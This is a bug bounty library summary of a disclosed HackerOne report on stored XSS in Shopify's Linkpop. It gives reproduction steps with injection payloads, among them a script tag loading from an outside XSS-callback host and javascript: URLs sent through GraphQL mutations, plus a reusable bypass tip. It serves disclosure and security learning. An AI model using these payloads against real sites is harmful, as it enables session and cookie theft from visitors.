# Stored XSS at https://linkpop.com

Stored XSS in Linkpop page/link fields via unsanitized javascript: URLs and title HTML, bypassing client-side validation, executing on public shareable pages.

- Payout: hidden
- Severity: medium
- Program: Shopify
- Found by: nagli
- Disclosed: 2022-01-20
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1441988
- Library page: https://bugbountylibrary.com/r/h1%3A1441988
- Tags: area:web3 domain:web impact:ato kind:bounty platform:hackerone sev:medium tech:graphql technique:source-review vuln:xss

**Target:** linkpop.com dashboard admin GraphQL pageUpdate/linksCreate mutations
**Root cause:** Server trusts client-side sanitization; page title, bio, link url, and social handles accept raw HTML and javascript: schemes without server-side validation.
**Steps:**
1. Login to linkpop.com and create a new template/page
2. Capture the pageUpdate/linksCreate GraphQL request
3. Set title to `"><h1>nagli</h1>"><script src=...>`, bio to `<Script src=https://naglinagli.xss.ht>`, link url to `javascript:alert(document.domain)`, social handle to `javascript:alert(1)`
4. Submit request, click 'Copy Link' to get public shareable URL
5. Visit https://linkpop.com/testnaglinagli and click the first image to trigger XSS (worked on Firefox)
**How found:** Noticed client-side-only URL validation in the dashboard; hypothesized server lacked sanitization and confirmed by tampering the GraphQL request in Burp.
**Exploitation:** Attacker stores malicious payload in their own public Linkpop page; any visitor clicking the link/image executes attacker JS in linkpop.com origin, enabling cookie theft and CORS bypass.
**Insight:** When a UI blocks javascript: URLs client-side, replay the underlying GraphQL mutation directly with the scheme intact; also test title/bio/social-handle fields for raw HTML since sanitization often only covers the obvious URL field.